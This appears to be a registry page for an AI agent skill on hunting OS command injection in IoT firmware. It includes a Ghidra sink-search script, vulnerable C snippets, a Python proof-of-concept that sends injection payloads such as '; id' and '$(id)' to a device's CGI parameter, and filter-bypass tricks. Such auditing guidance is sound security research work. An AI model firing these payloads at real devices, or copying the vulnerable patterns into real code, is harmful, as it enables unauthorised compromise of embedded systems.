Command injection vulnerability hunting in IoT firmware. Use when analyzing CGI binaries, web server handlers, SOAP/UPnP interfaces, or any user-input-to-system-call path in embedded devices. Triggers on searching for OS command injection (CWE-78), argument injection (CWE-88), or code injection in firmware binaries and scripts.
Resources
1Install
npx skillscat add tangjunyi23/iotagent/command-injection Install via the SkillsCat registry.
SKILL.md
Command Injection Hunting
Find OS command injection vulnerabilities in IoT firmware binaries and scripts.
Workflow
- Identify attack surface (web interfaces, CLI, network services)
- Locate dangerous function calls in binaries
- Trace user input to dangerous sinks
- Build and verify PoC
Attack Surface Priority
| Priority | Target | Why |
|---|---|---|
| 1 | CGI binaries in /www/cgi-bin/ |
Direct HTTP parameter → system() |
| 2 | Lua/PHP/ASP scripts in /www/ |
Interpreted, easier to audit |
| 3 | Main web server binary (httpd, goahead, boa) | Handles form submissions |
| 4 | UPnP/SOAP handlers | XML parameter injection |
| 5 | CLI utilities in /usr/sbin/ |
May be called by web handlers |
| 6 | MQTT/CoAP message handlers | IoT protocol entry points |
Dangerous Functions (Binary Analysis)
Search for these imported functions in Ghidra/IDA:
system(), popen(), execve(), exec(), execl(), execlp()
doSystemCmd(), twsystem(), CsteSystem() # vendor wrappers
wordexp() # shell expansion
dlopen() # dynamic library loadingGhidra search:
# In Ghidra script
dangerous = ["system", "popen", "execve", "doSystemCmd", "twsystem"]
for func in currentProgram.getFunctionManager().getFunctions(True):
if any(d in func.getName().lower() for d in dangerous):
print(f"SINK: {func.getName()} @ {func.getEntryPoint()}")
for ref in getReferencesTo(func.getEntryPoint()):
caller = currentProgram.getFunctionManager().getFunctionContaining(ref.getFromAddress())
if caller:
print(f" <- {caller.getName()} @ {ref.getFromAddress()}")Input Tracing Patterns
Pattern 1: HTTP Parameter → system()
// Typical vulnerable CGI pattern
char *ip = getenv("QUERY_STRING"); // or websGetVar()
char cmd[256];
sprintf(cmd, "ping -c 3 %s", ip); // No sanitization
system(cmd); // VULNERABLEPattern 2: NVRAM → system()
// Config value used unsafely
char *dns = nvram_get("wan_dns");
char cmd[512];
sprintf(cmd, "echo 'nameserver %s' > /etc/resolv.conf", dns);
system(cmd); // Vulnerable if NVRAM is user-settablePattern 3: Form POST → popen()
char *user_input = web_get("hostname");
char buf[256];
snprintf(buf, sizeof(buf), "nslookup %s 2>&1", user_input);
FILE *fp = popen(buf, "r"); // VULNERABLEPoC Template
import requests
target = "http://<device_ip>"
# Typical injection payloads
payloads = [
"; id",
"| id",
"$(id)",
"`id`",
"\nid\n",
"%0aid%0a",
";echo VULN_MARKER",
]
for payload in payloads:
resp = requests.get(
f"{target}/cgi-bin/vulnerable.cgi",
params={"ip": payload},
timeout=10,
verify=False
)
if "uid=" in resp.text or "VULN_MARKER" in resp.text:
print(f"VULNERABLE with payload: {payload}")
print(resp.text)
breakCommon Bypass Techniques
When basic injection is filtered:
- URL encoding:
%3bidfor;id - Double encoding:
%253bid - Newline injection:
%0aor%0d%0a - Tab separator:
%09 ${IFS}as space substitute:ping${IFS}127.0.0.1- Backtick substitution when
$()is filtered
References
- Vendor-specific patterns: See references/vendor-patterns.md for known injection points per vendor